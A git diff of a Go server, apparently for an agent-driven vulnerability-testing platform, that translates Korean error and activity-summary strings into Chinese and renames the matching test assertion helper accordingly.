- errCustomToolEditCustomOnly = "사용자 지정 도구만 편집할 수 있습니다"
- errCustomToolBadBody = "요청 본문이 올바르지 않습니다"
- errCustomToolShellNoExec = "shell 유형 도구는 bash 환경 선언이므로 실행할 내용이 없습니다"
- errCustomToolUnknownKindPrefix = "알 수 없는 도구 유형입니다: "
+ errCustomToolKeyFormat = "key 必须以小写字母开头,且只能使用小写字母、数字和下划线"
+ errCustomToolKindInvalid = "kind 值必须是 command, script, http, shell 之一"
+ errCustomToolHTTPSchemaRequired = "http 工具必须指定参数 JSON Schema(不能为空)"
+ errCustomToolKeyExists = "key 已存在(内置或自定义工具)"
+ errCustomToolEditCustomOnly = "只能编辑自定义工具"
+ errCustomToolBadBody = "请求正文不正确"
+ errCustomToolShellNoExec = "shell 类型工具是 bash 环境声明,没有可执行内容"
+ errCustomToolUnknownKindPrefix = "未知的工具类型: "
)
func (s *Server) pgCreateCustomTool(w http.ResponseWriter, r *http.Request) {
@@ -223,7 +223,7 @@ func (s *Server) seedPythonInterpreter() {
}
if p := detectPython(); p != "" {
_ = s.m.pg.SetSetting(settingPythonInterp, p)
- log.Printf("[custom-tool] python 인터프리터 자동 감지: %s", p)
+ log.Printf("[custom-tool] 自动检测到 python 解释器: %s", p)
}
}
diff --git a/server/customtool_localized_test.go b/server/customtool_localized_test.go
index 40e610a..30c0b01 100644
--- a/server/customtool_localized_test.go
+++ b/server/customtool_localized_test.go
@@ -11,7 +11,7 @@ import (
// customtool.go 의 사용자 지정 도구 CRUD·시험 실행 엔드포인트가 writeErr 로 돌려주는
// 검증 오류 응답을 한국어로 유지하는 회귀 방어 테스트다. 한국어 판정은 F3a 의
-// assertKoreanError(한글 포함·중국어 한자 0), 응답 본문 추출은 task_categories 테스트의
+// assertChineseError(한글 포함·중국어 한자 0), 응답 본문 추출은 task_categories 테스트의
// decodeErrorField 를 재사용한다(같은 package server). 에이전트가 읽는 actool.Errorf 도구
// 결과와 도구 스키마 description 은 두뇌 경계라 번역 대상이 아니며 이 테스트도 건드리지 않는다.
@@ -31,7 +31,7 @@ func TestCustomToolErrorConstantsLocalized(t *testing.T) {
{"shellNoExec", errCustomToolShellNoExec},
{"unknownKindPrefix", errCustomToolUnknownKindPrefix},
} {
- assertKoreanError(t, "customtool."+c.name, c.msg)
+ assertChineseError(t, "customtool."+c.name, c.msg)
}
}
@@ -67,7 +67,7 @@ func TestCustomToolCreateValidationLocalized(t *testing.T) {
if got != c.want {
t.Fatalf("응답 본문 불일치: got %q want %q", got, c.want)
}
- assertKoreanError(t, "customtool.create."+c.name, got)
+ assertChineseError(t, "customtool.create."+c.name, got)
})
}
}
@@ -96,7 +96,7 @@ func TestCustomToolTestRunValidationLocalized(t *testing.T) {
t.Fatalf("응답 본문 불일치: got %q want %q", got, c.want)
}
// unknown-kind 는 뒤에 req.Kind("bogus") 라틴 꼬리표가 붙으므로 한자 0 만 확인한다.
- assertKoreanError(t, "customtool.test."+c.name, errCustomToolUnknownKindPrefix)
+ assertChineseError(t, "customtool.test."+c.name, errCustomToolUnknownKindPrefix)
})
}
}
diff --git a/server/engine.go b/server/engine.go
index 64d9539..dc63d16 100644
--- a/server/engine.go
+++ b/server/engine.go
@@ -86,10 +86,10 @@ var errWorkControlConflict = errors.New("work control conflict")
// (각 지점 주석 참조). 의도가 더 이상 paused 상태가 아니라는 재개 충돌 문구는 task_control.go
// 의 errIntentCtrlStateConflictFmt 를 재사용해 단일 출처를 유지한다.
const (
- errWorkControlNoRunningWorkFmt = "%w: 의도 %d 에 실행 중인 Worker 가 없습니다 (이미 종료되었거나 아직 할당되지 않았을 수 있습니다)"
- errWorkControlBusyFmt = "%w: 의도 %d 에 대해 이미 %s 제어가 진행 중입니다"
- errWorkControlWaitFmt = "의도 %d 의 %s 마무리를 기다리는 중 오류가 발생했습니다: %w"
- errDetachedWorkerNotReady = "Worker 가 아직 준비되지 않았습니다"
+ errWorkControlNoRunningWorkFmt = "%w: 意图 %d 没有正在运行的 Worker(可能已结束或尚未分配)"
+ errWorkControlBusyFmt = "%w: 意图 %d 的 %s 控制已在进行中"
+ errWorkControlWaitFmt = "等待意图 %d 的 %s 收尾时发生错误: %w"
+ errDetachedWorkerNotReady = "Worker 尚未准备好"
)
// retryableWorkerModelError excludes errors already handled by the task router.
@@ -668,8 +668,8 @@ func (e *Engine) Broadcaster() *Broadcaster { return e.bc }
// 이 요약들은 node_id 를 달지 않는다. 그래서 한국어화해도 두뇌 입력(BRIEF 경계 #1)을
// 건드리지 않는다. 포맷 인자(%d)는 원형 보존. [[G132]]
const (
- goallessTaskDoneSummary = "모든 목표를 달성했고 직접 투입한 의도의 실행도 끝나, 작업을 종료합니다"
- plannerRoundSummaryFmt = "%d차 계획 수립"
+ goallessTaskDoneSummary = "所有目标均已达成,直接投入的意图也已执行完毕,任务结束"
+ plannerRoundSummaryFmt = "第 %d 轮规划"
)
func (e *Engine) emitActivity(t *Task, r db.Activity) db.Activity {
diff --git a/server/engine_localized_test.go b/server/engine_localized_test.go
index 8f079f9..0ab4b13 100644
--- a/server/engine_localized_test.go
+++ b/server/engine_localized_test.go
@@ -10,7 +10,7 @@ import (
)
// engine.go 의 작업 제어·의도 개입 오류 중 "사용자 노출" 문구를 한국어로 유지하는 회귀
-// 방어 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를
+// 방어 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를
// 재사용한다.
//
// 호출 그래프 판정(engine.go 상수 블록 주석 참조):
@@ -36,7 +36,7 @@ func TestControlWorkNoRunningWorkErrorLocalized(t *testing.T) {
if !errors.Is(err, errWorkControlConflict) {
t.Fatalf("errors.Is(err, errWorkControlConflict) = false, err=%v", err)
}
- assertKoreanError(t, "control_work_no_running", err.Error())
+ assertChineseError(t, "control_work_no_running", err.Error())
}
// TestEngineUserFacingErrorsLocalized 는 엔진/DB 게이트나 고루틴 타이밍 뒤에 있어 끝까지
@@ -51,6 +51,6 @@ func TestEngineUserFacingErrorsLocalized(t *testing.T) {
{"detached_worker_not_ready", errDetachedWorkerNotReady},
{"detached_state_conflict", fmt.Errorf(errIntentCtrlStateConflictFmt, db.ErrIntentStateConflict).Error()},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
}
diff --git a/server/engine_timeout.go b/server/engine_timeout.go
index eef9927..0aa4895 100644
--- a/server/engine_timeout.go
+++ b/server/engine_timeout.go
@@ -231,7 +231,7 @@ func (e *Engine) settleTask(ctx context.Context, t *Task) {
// LLM to be ready (bounded by ctx) so a completable task isn't mis-judged timeout.
// timeoutFinalRoundSummaryFmt 는 작업 시간 초과 시 마지막 계획 라운드의 표시 전용
// 활동 요약이다(node_id 없음·전사에만 노출·되먹임 경로 미접촉). [[G132]]
-const timeoutFinalRoundSummaryFmt = "작업 시간 초과 마무리·최종 판정(%d차)"
+const timeoutFinalRoundSummaryFmt = "任务超时收尾·最终判定(第 %d 轮)"
func (e *Engine) runFinalPlannerRound(ctx context.Context, t *Task) (met bool) {
if e.IsDeleting(t.ID) {
diff --git a/server/finding_retests.go b/server/finding_retests.go
index fde518c..a6d935d 100644
--- a/server/finding_retests.go
+++ b/server/finding_retests.go
@@ -26,10 +26,10 @@ import (
// 이름(漏洞复测)·프로필·note(内置默认)는 에이전트가 읽는 두뇌 입력이거나 시드라
// 원문을 보존한다(각 지점 주석 참조, F16 두뇌 경계 계열).
const (
- errFindingRetestNotesTooLong = "재검증 보충 설명은 최대 4000자까지 입력할 수 있습니다"
- errFindingRetestAgentMissing = "취약점 재검증 에이전트가 없거나 비활성화되어 있습니다. 에이전트 관리에서 retester 를 설정하세요"
- errFindingRetestToolRequired = "재검증 에이전트에 도구를 활성화하고 연결하세요: "
- errFindingRetestServiceStopping = "서비스가 종료 중입니다"
+ errFindingRetestNotesTooLong = "复测补充说明最多可输入 4000 个字符"
+ errFindingRetestAgentMissing = "漏洞复测 Agent 不存在或已禁用。请在 Agent 管理中设置 retester"
+ errFindingRetestToolRequired = "请为复测 Agent 启用并连接工具: "
+ errFindingRetestServiceStopping = "服务正在关闭"
)
func (s *Server) listActiveFindingRetests(w http.ResponseWriter, r *http.Request) {
diff --git a/server/finding_retests_localized_test.go b/server/finding_retests_localized_test.go
index a35d652..cf9b379 100644
--- a/server/finding_retests_localized_test.go
+++ b/server/finding_retests_localized_test.go
@@ -3,7 +3,7 @@ package server
import "testing"
// finding_retests.go 의 사용자 노출 HTTP 에러 응답 문구를 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를
// 재사용한다. 네 문구를 반환하는 startFindingRetest 핸들러는 맨 앞에서 s.pg(w)(DB)
// 게이트를 지나므로 DB 없는 이 호스트에서 끝까지 돌 수 없어, 상수 자체를 핀 고정한다
// (finding_traffic·goals_api·notify_api 의 DB 게이트 경로와 같은 방식). 누군가 이
@@ -22,6 +22,6 @@ func TestFindingRetestErrorsLocalized(t *testing.T) {
{"tool_required", errFindingRetestToolRequired},
{"service_stopping", errFindingRetestServiceStopping},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
}
diff --git a/server/finding_traffic.go b/server/finding_traffic.go
index 57e356a..747a457 100644
--- a/server/finding_traffic.go
+++ b/server/finding_traffic.go
@@ -26,10 +26,10 @@ import (
// roTool("get_finding_traffic") 도구 설명은 에이전트가 읽는 두뇌 입력이라 원문을
// 보존한다(각 지점 주석 참조, F16 두뇌 경계 계열).
const (
- errFindingTrafficInheritedReadonly = "상속된 취약점은 읽기 전용이라 출처 작업에서 수정해야 합니다"
- errFindingTrafficSelectRequired = "트래픽을 선택하세요"
- errFindingTrafficVersionRequired = "version 과 유효한 요청 본문은 필수입니다"
- errFindingTrafficBindingIDsRequired = "binding_ids 는 필수입니다"
+ errFindingTrafficInheritedReadonly = "继承的漏洞为只读,需要在来源任务中修改"
+ errFindingTrafficSelectRequired = "请选择流量"
+ errFindingTrafficVersionRequired = "version 和有效的请求正文为必填项"
+ errFindingTrafficBindingIDsRequired = "binding_ids 为必填项"
)
func (s *Server) evidenceStore() *evidence.Store {
diff --git a/server/finding_traffic_localized_test.go b/server/finding_traffic_localized_test.go
index 00465b1..d7f5579 100644
--- a/server/finding_traffic_localized_test.go
+++ b/server/finding_traffic_localized_test.go
@@ -3,7 +3,7 @@ package server
import "testing"
// finding_traffic.go 의 사용자 노출 HTTP 에러 응답 문구를 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를
// 재사용한다. 네 문구를 반환하는 경로(findingTrafficAccess·bindFindingTraffic·
// editFindingTraffic)는 전부 s.m.pg.GetFinding(DB) 게이트 뒤라 DB 없는 이 호스트에서
// 끝까지 돌 수 없으므로 상수 자체를 핀 고정한다(goals_api·notify_api 의 DB 게이트
@@ -21,6 +21,6 @@ func TestFindingTrafficErrorsLocalized(t *testing.T) {
{"version_required", errFindingTrafficVersionRequired},
{"binding_ids_required", errFindingTrafficBindingIDsRequired},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
}
diff --git a/server/findings_groups.go b/server/findings_groups.go
index f4cd3ad..6711083 100644
--- a/server/findings_groups.go
+++ b/server/findings_groups.go
@@ -16,7 +16,7 @@ const maxFindingFollowUpRunes = 4000
// auditFindingFollowUpSummary 는 사용자가 취약점을 심화 익스플로잇하려고 후속 의도를
// 제출할 때 활동 타임라인에 남는 요약 문구다("{요약} #{의도ID}" 형태로 표시된다).
-const auditFindingFollowUpSummary = "사용자가 제출한 취약점 심화 익스플로잇 의도"
+const auditFindingFollowUpSummary = "用户提交的漏洞深入利用意图"
func findingPaginationParam(raw string, fallback, upperBound int) int {
value := atoiDefault(raw, fallback)
@@ -106,7 +106,7 @@ func (s *Server) deepenFinding(w http.ResponseWriter, r *http.Request) {
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
var tooLarge *http.MaxBytesError
if errors.As(err, &tooLarge) {
- writeErr(w, http.StatusRequestEntityTooLarge, "요청 본문이 너무 큽니다")
+ writeErr(w, http.StatusRequestEntityTooLarge, "请求正文过大")
} else {
writeErr(w, http.StatusBadRequest, "bad json: "+err.Error())
}
diff --git a/server/findings_groups_localized_test.go b/server/findings_groups_localized_test.go
index c827e3f..796d0c6 100644
--- a/server/findings_groups_localized_test.go
+++ b/server/findings_groups_localized_test.go
@@ -9,7 +9,7 @@ import (
)
// findings_groups.go 의 사용자 노출 문구를 한국어로 유지하는 회귀 방어 테스트다.
-// 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// TestDeepenFindingBodyTooLargeLocalized 는 본문 초과(413) 응답이 한국어임을 실제 HTTP 로
// 확인한다. 이 경로는 MaxBytesReader 디코드 단계에서 반환되어 s.m.pg(DB) 에 닿기 전에 끝나므로
@@ -31,11 +31,11 @@ func TestDeepenFindingBodyTooLargeLocalized(t *testing.T) {
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatalf("응답 JSON 파싱 실패: %v (본문 %q)", err, rec.Body.String())
}
- const want = "요청 본문이 너무 큽니다"
+ const want = "请求正文过大"
if resp.Error != want {
t.Fatalf("응답 문구 = %q, 기대 = %q", resp.Error, want)
}
- assertKoreanError(t, "body_too_large", resp.Error)
+ assertChineseError(t, "body_too_large", resp.Error)
}
// TestFindingFollowUpAuditSummaryLocalized 는 후속 의도 활동 요약 상수가 한국어임을 단언한다.
@@ -43,5 +43,5 @@ func TestDeepenFindingBodyTooLargeLocalized(t *testing.T) {
// 끝까지 못 도므로 상수 자체를 단언한다. 이 문구는 에이전트가 읽는 의도 payload(사용자가
// 입력한 description)와 분리된, 활동 타임라인 표시 전용 요약이다.
func TestFindingFollowUpAuditSummaryLocalized(t *testing.T) {
- assertKoreanError(t, "follow_up_summary", auditFindingFollowUpSummary)
+ assertChineseError(t, "follow_up_summary", auditFindingFollowUpSummary)
}
diff --git a/server/goals.go b/server/goals.go
index 7c74ab4..6128993 100644
--- a/server/goals.go
+++ b/server/goals.go
@@ -18,8 +18,8 @@ import (
// 로 고정이라 재개 검증에 닿지 않으므로 두뇌 입력이 아니다. 용어는 task_control.go 의
// 종료 상태·일시정지 문구와 맞춘다(resume=재개).
const (
- errGoalResumeTerminal = "종료된 작업은 재개할 수 없습니다"
- errGoalResumeNotPaused = "일시정지된 작업만 재개할 수 있습니다"
+ errGoalResumeTerminal = "已结束的任务无法恢复"
+ errGoalResumeNotPaused = "只能恢复已暂停的任务"
)
type goalSpec struct {
@@ -39,10 +39,10 @@ type goalSpec struct {
// 초기 목표 분해 라운드와 동시 실행 대기열 상태 안내다. 한국어화해도 두뇌 입력
// (BRIEF 경계 #1)을 건드리지 않는다. 포맷 인자(%d)는 원형 보존. [[G132]]
const (
- goalBreakdownRound0Summary = "0차 목표 분해"
- queuedConcurrencyLimitSummaryFmt = "대기열 등록: 동시 실행 상한 %d개에 도달해, 빈자리가 나면 자동으로 시작합니다"
- queuedNoLLMSummary = "대기열 등록: 현재 실행 가능한 LLM 설정이 없어, 설정이 복구되면 자동으로 시작합니다"
- queuedFIFOSummary = "대기열 등록: 먼저 대기 중인 작업이 있어, FIFO 순서대로 자동으로 시작합니다"
+ goalBreakdownRound0Summary = "第 0 轮目标分解"
+ queuedConcurrencyLimitSummaryFmt = "已加入队列:并发上限 %d 个已满,出现空位后会自动开始"
+ queuedNoLLMSummary = "已加入队列:当前没有可用的 LLM 配置,配置恢复后会自动开始"
+ queuedFIFOSummary = "已加入队列:前面还有等待中的任务,将按 FIFO 顺序自动开始"
)
func (s *Server) launchTask(t *Task, seedText string, seedFirstIntent bool) {
diff --git a/server/goals_api.go b/server/goals_api.go
index 80e2842..e684b8e 100644
--- a/server/goals_api.go
+++ b/server/goals_api.go
@@ -13,13 +13,13 @@ import (
// gid)·enum 은 원문 그대로 두고, 사람이 읽는 메시지만 한국어로 둔다. 영어 writeErr
// (task not found·invalid JSON·bad goal id)는 F3b 중국어 전용 범위라 보존한다.
const (
- errGoalTaskDeletingAdd = "작업을 삭제하는 중이라 목표를 추가할 수 없습니다"
- errGoalTaskDeletingEdit = "작업을 삭제하는 중이라 목표를 수정할 수 없습니다"
- errGoalTaskDeletingDelete = "작업을 삭제하는 중이라 목표를 삭제할 수 없습니다"
- errGoalTextEmpty = "목표 내용은 비워 둘 수 없습니다"
- errGoalNotFound = "목표를 찾을 수 없습니다"
- errGoalReadAfterAdd = "목표를 저장한 뒤 읽지 못했습니다"
- errGoalReadAfterEdit = "목표를 수정한 뒤 읽지 못했습니다"
+ errGoalTaskDeletingAdd = "正在删除任务,无法添加目标"
+ errGoalTaskDeletingEdit = "正在删除任务,无法修改目标"
+ errGoalTaskDeletingDelete = "正在删除任务,无法删除目标"
+ errGoalTextEmpty = "目标内容不能为空"
+ errGoalNotFound = "找不到目标"
+ errGoalReadAfterAdd = "保存目标后读取失败"
+ errGoalReadAfterEdit = "修改目标后读取失败"
)
// 总览「目标管理」的人工 CRUD 接口。与 agent 侧的 set_goals 工具写同一批 goal 节点,
diff --git a/server/goals_api_localized_test.go b/server/goals_api_localized_test.go
index ccb9f4e..05f620b 100644
--- a/server/goals_api_localized_test.go
+++ b/server/goals_api_localized_test.go
@@ -8,7 +8,7 @@ import (
)
// goals_api.go 의 목표 관리 API 에러 응답을 한국어로 유지하는 회귀 방어 테스트다.
-// 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를, 응답 본문
+// 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를, 응답 본문
// 추출은 task_categories 테스트의 decodeErrorField 를 재사용한다(같은 package server).
// TestGoalErrorConstantsLocalized 는 응답 상수 7종이 전부 한국어임을 단언한다. 목표
@@ -26,7 +26,7 @@ func TestGoalErrorConstantsLocalized(t *testing.T) {
"read_after_edit": errGoalReadAfterEdit,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -120,7 +120,7 @@ func TestGoalHandlersResponsesLocalized(t *testing.T) {
if got != c.want {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, c.want)
}
- assertKoreanError(t, c.name, got)
+ assertChineseError(t, c.name, got)
})
}
}
diff --git a/server/goals_localized_test.go b/server/goals_localized_test.go
index 27fe67c..23f5528 100644
--- a/server/goals_localized_test.go
+++ b/server/goals_localized_test.go
@@ -3,7 +3,7 @@ package server
import "testing"
// goals.go 의 작업 재개(admitPausedTask) 사전 조건 검증 오류 문구를 한국어로 유지하는
-// 회귀 방어 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어
+// 회귀 방어 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어
// 한자 0)를 재사용한다. 두 문구를 반환하는 admitTaskWhen(requirePaused=true) 경로는
// s.concMu 잠금 뒤 s.m.Task()·s.engine.IsDeleting()·beginTaskOperation() 엔진 게이트를
// 지나므로 DB·엔진 없는 이 호스트에서 끝까지 돌 수 없어, 상수 자체를 핀 고정한다
@@ -21,6 +21,6 @@ func TestGoalResumeErrorsLocalized(t *testing.T) {
{"resume_terminal", errGoalResumeTerminal},
{"resume_not_paused", errGoalResumeNotPaused},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
}
diff --git a/server/intent_intervention.go b/server/intent_intervention.go
index 1740699..6b8f439 100644
--- a/server/intent_intervention.go
+++ b/server/intent_intervention.go
@@ -16,17 +16,17 @@ const maxWorkerMessageBytes = 64 << 10
// 에러 응답 문구다. 한국어 UI 에서 토스트로 그대로 노출되므로 한국어로 둔다. Worker 는
// 엔진 역할 이름이라 로마자를 유지하고(용어집), request_id 는 요청 필드명이라 원문 보존.
const (
- errIntentRequestTooLarge = "요청 본문이 너무 큽니다"
- errIntentMessageEmpty = "메시지는 비워 둘 수 없습니다"
- errIntentMessageTooLong = "메시지는 4000자를 초과할 수 없습니다"
- errIntentBadRequestID = "request_id 는 1~128자의 영문자, 숫자, -, _, ., : 만 사용할 수 있습니다"
- errIntentTaskDeleting = "작업을 삭제하는 중이라 Worker 에게 메시지를 보낼 수 없습니다"
- errIntentTaskPaused = "작업이 일시정지되어 있습니다. 먼저 작업을 재개한 뒤 Worker 에게 메시지를 보내세요"
- errIntentTaskQueued = "대기 중인 작업에는 Worker 에게 메시지를 보낼 수 없습니다"
- errIntentTaskTerminal = "종료된 작업에는 Worker 에게 메시지를 보낼 수 없습니다"
- errIntentTaskSettling = "작업을 마무리하는 중이라 Worker 에게 메시지를 보낼 수 없습니다"
- errIntentInheritedReadonly = "상속된 의도는 읽기 전용이라 Worker 에게 메시지를 보낼 수 없습니다"
- errIntentNotPaused = "일시정지된 Worker 에게만 메시지를 보낼 수 있습니다. 먼저 일시정지하세요"
+ errIntentRequestTooLarge = "请求正文过大"
+ errIntentMessageEmpty = "消息不能为空"
+ errIntentMessageTooLong = "消息不能超过 4000 个字符"
+ errIntentBadRequestID = "request_id 只能使用 1~128 位的字母、数字、-、_、.、:"
+ errIntentTaskDeleting = "正在删除任务,无法向 Worker 发送消息"
+ errIntentTaskPaused = "任务已暂停,请先恢复任务后再向 Worker 发送消息"
+ errIntentTaskQueued = "排队中的任务无法向 Worker 发送消息"
+ errIntentTaskTerminal = "已结束的任务无法向 Worker 发送消息"
+ errIntentTaskSettling = "正在收尾任务,无法向 Worker 发送消息"
+ errIntentInheritedReadonly = "继承的意图为只读,无法向 Worker 发送消息"
+ errIntentNotPaused = "只能向已暂停的 Worker 发送消息,请先暂停"
)
func validWorkerMessageRequestID(id string) bool {
diff --git a/server/intent_intervention_localized_test.go b/server/intent_intervention_localized_test.go
index 1612f16..a8a56da 100644
--- a/server/intent_intervention_localized_test.go
+++ b/server/intent_intervention_localized_test.go
@@ -9,7 +9,7 @@ import (
)
// intent_intervention.go 의 Worker 개입 API 에러 응답을 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// TestIntentInterventionErrorConstantsLocalized 는 응답 상수 11종이 전부 한국어임을 단언한다.
// 수명주기·의도 상태 경로는 s.engine·Store 설정이 필요해 DB 없는 이 호스트에서 끝까지 못
@@ -33,7 +33,7 @@ func TestIntentInterventionErrorConstantsLocalized(t *testing.T) {
{"not_paused", errIntentNotPaused},
}
for _, c := range cases {
- assertKoreanError(t, c.name, c.msg)
+ assertChineseError(t, c.name, c.msg)
}
}
@@ -84,7 +84,7 @@ func TestSendWorkerMessageInputValidationLocalized(t *testing.T) {
if got := errBody(t, rec); got != c.want {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, c.want)
}
- assertKoreanError(t, c.name, errBody(t, rec))
+ assertChineseError(t, c.name, errBody(t, rec))
})
}
}
diff --git a/server/intercept.go b/server/intercept.go
index 326efdc..72d021a 100644
--- a/server/intercept.go
+++ b/server/intercept.go
@@ -27,9 +27,9 @@ func (s *Server) chatGuard() *guard.Guard {
// intercept.Judge 가 msgModelApprovalFailed 로 감싸 Decision.Message 로 노출하므로,
// 래퍼(intercept 패키지)와 언어가 어긋나지 않게 함께 한국어로 둔다.
const (
- errNoJudgeModel = "사용할 수 있는 판정 모델이 설정되지 않았습니다"
- errJudgeModelUnavailable = "%d번 판정 모델 프로필을 사용할 수 없습니다"
- errJudgeVerdictMalformed = "모델 판정 형식이 올바르지 않습니다. 판정·실제 동작·성공 후 결과·적중 규칙을 모두 포함해야 합니다"
+ errNoJudgeModel = "未配置可用的判定模型"
+ errJudgeModelUnavailable = "判定模型配置 %d 不可用"
+ errJudgeVerdictMalformed = "模型判定格式不正确,必须包含判定、实际动作、成功后的结果和命中的规则"
)
// wireInterceptReviewer installs the LLM fallback judge into the interceptor. The
@@ -326,12 +326,12 @@ func interceptFilterParams(q url.Values) (db.InterceptApprovalFilter, error) {
switch filter.Status {
case "", "pending", "allowed", "denied", "timeout":
default:
- return filter, fmt.Errorf("status 값은 pending, allowed, denied, timeout 중 하나여야 합니다")
+ return filter, fmt.Errorf("status 值必须是 pending, allowed, denied, timeout 之一")
}
switch filter.DecisionSource {
case "", "model", "rule", "unknown":
default:
- return filter, fmt.Errorf("decision_source 값은 model, rule, unknown 중 하나여야 합니다")
+ return filter, fmt.Errorf("decision_source 值必须是 model, rule, unknown 之一")
}
return filter, nil
}
@@ -365,7 +365,7 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
return
}
if req.Decision != "allowed" && req.Decision != "denied" {
- writeErr(w, 400, "decision 값은 allowed 또는 denied 중 하나여야 합니다")
+ writeErr(w, 400, "decision 值必须是 allowed 或 denied 之一")
return
}
if err := s.m.interceptor.Decide(id, req.Decision == "allowed"); err != nil {
@@ -430,13 +430,13 @@ func (s *Server) interceptSetJudgeConfig(w http.ResponseWriter, r *http.Request)
switch req.FailAction {
case "allow", "ask", "deny":
default:
- writeErr(w, 400, "fail_action 값은 allow, ask, deny 중 하나여야 합니다")
+ writeErr(w, 400, "fail_action 值必须是 allow, ask, deny 之一")
return
}
switch req.AskTimeoutAction {
case "allow", "deny":
default:
- writeErr(w, 400, "ask_timeout_action 값은 allow 또는 deny 중 하나여야 합니다")
+ writeErr(w, 400, "ask_timeout_action 值必须是 allow 或 deny 之一")
return
}
if err := s.m.interceptor.SetJudgeConfig(req); err != nil {
@@ -464,29 +464,29 @@ type interceptRuleReq struct {
func validateInterceptRuleReq(req interceptRuleReq) error {
if req.Name == "" {
- return fmt.Errorf("name 값은 비워 둘 수 없습니다")
+ return fmt.Errorf("name 值不能为空")
}
switch req.MatchTarget {
case "tool_name", "tool_input":
default:
- return fmt.Errorf("match_target 값은 tool_name 또는 tool_input 중 하나여야 합니다")
+ return fmt.Errorf("match_target 值必须是 tool_name 或 tool_input 之一")
}
switch req.MatchType {
case "string", "regex":
default:
- return fmt.Errorf("match_type 값은 string 또는 regex 중 하나여야 합니다")
+ return fmt.Errorf("match_type 值必须是 string 或 regex 之一")
}
if req.Pattern == "" {
- return fmt.Errorf("pattern 값은 비워 둘 수 없습니다")
+ return fmt.Errorf("pattern 值不能为空")
}
switch req.Action {
case "allow", "deny", "ask":
default:
- return fmt.Errorf("action 값은 allow, deny, ask 중 하나여야 합니다")
+ return fmt.Errorf("action 值必须是 allow, deny, ask 之一")
}
if req.MatchType == "regex" {
if _, err := regexp.Compile(req.Pattern); err != nil {
- return fmt.Errorf("pattern 값이 올바른 정규식이 아닙니다: %w", err)
+ return fmt.Errorf("pattern 值不是合法的正则表达式: %w", err)
}
}
return nil
@@ -549,11 +549,11 @@ func (s *Server) interceptExecution(w http.ResponseWriter, r *http.Request) {
return
}
if conv == nil {
- writeErr(w, http.StatusGone, "대화가 이미 삭제되었습니다")
+ writeErr(w, http.StatusGone, "会话已被删除")
return
}
}
- writeErr(w, 404, "승인 기록이 삭제되었거나 존재하지 않습니다")
+ writeErr(w, 404, "审批记录已被删除或不存在")
return
}
writeJSON(w, 200, map[string]any{"conversation_id": target.ConversationID, "task_id": target.TaskID, "session": target.Session, "seq": target.Seq, "items": activityDTOs(target.Items)})
diff --git a/server/intercept_archive_localized_test.go b/server/intercept_archive_localized_test.go
index 84fc25a..86c1b22 100644
--- a/server/intercept_archive_localized_test.go
+++ b/server/intercept_archive_localized_test.go
@@ -6,25 +6,25 @@ import (
"unicode"
)
-// assertKoreanError fails when msg is empty, still carries a CJK Han ideograph
-// (= untranslated Chinese), or carries no Hangul at all. Hangul and ASCII field
-// names/enums are allowed; only Han (unicode.Han) marks a leftover Chinese string.
-func assertKoreanError(t *testing.T, label, msg string) {
+// assertChineseError fails when msg is empty, carries no Han ideograph
+// (= untranslated / non-Chinese), or still carries Hangul. Han and ASCII field
+// names/enums are allowed; only Hangul (unicode.Hangul) marks a leftover Korean string.
+func assertChineseError(t *testing.T, label, msg string) {
t.Helper()
if msg == "" {
t.Fatalf("%s: 빈 메시지", label)
}
- hasHangul := false
+ hasHan := false
for _, r := range msg {
- if unicode.Is(unicode.Han, r) {
- t.Fatalf("%s: 중국어 한자가 남아 있습니다: %q", label, msg)
- }
if unicode.Is(unicode.Hangul, r) {
- hasHangul = true
+ t.Fatalf("%s: 한글이 남아 있습니다: %q", label, msg)
+ }
+ if unicode.Is(unicode.Han, r) {
+ hasHan = true
}
}
- if !hasHangul {
- t.Fatalf("%s: 한글이 없습니다: %q", label, msg)
+ if !hasHan {
+ t.Fatalf("%s: 한자가 없습니다: %q", label, msg)
}
}
@@ -37,12 +37,12 @@ func TestInterceptArchiveErrorsLocalized(t *testing.T) {
if _, err := interceptFilterParams(url.Values{"status": {"bogus"}}); err == nil {
t.Fatal("status 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "filter.status", err.Error())
+ assertChineseError(t, "filter.status", err.Error())
}
if _, err := interceptFilterParams(url.Values{"decision_source": {"bogus"}}); err == nil {
t.Fatal("decision_source 검증이 통과해서는 안 됩니다")
} else {
- assertKoreanError(t, "filter.decision_source", err.Error())
+ assertChineseError(t, "filter.decision_source", err.Error())
}
// intercept.go: validateInterceptRuleReq — each branch isolated by making the
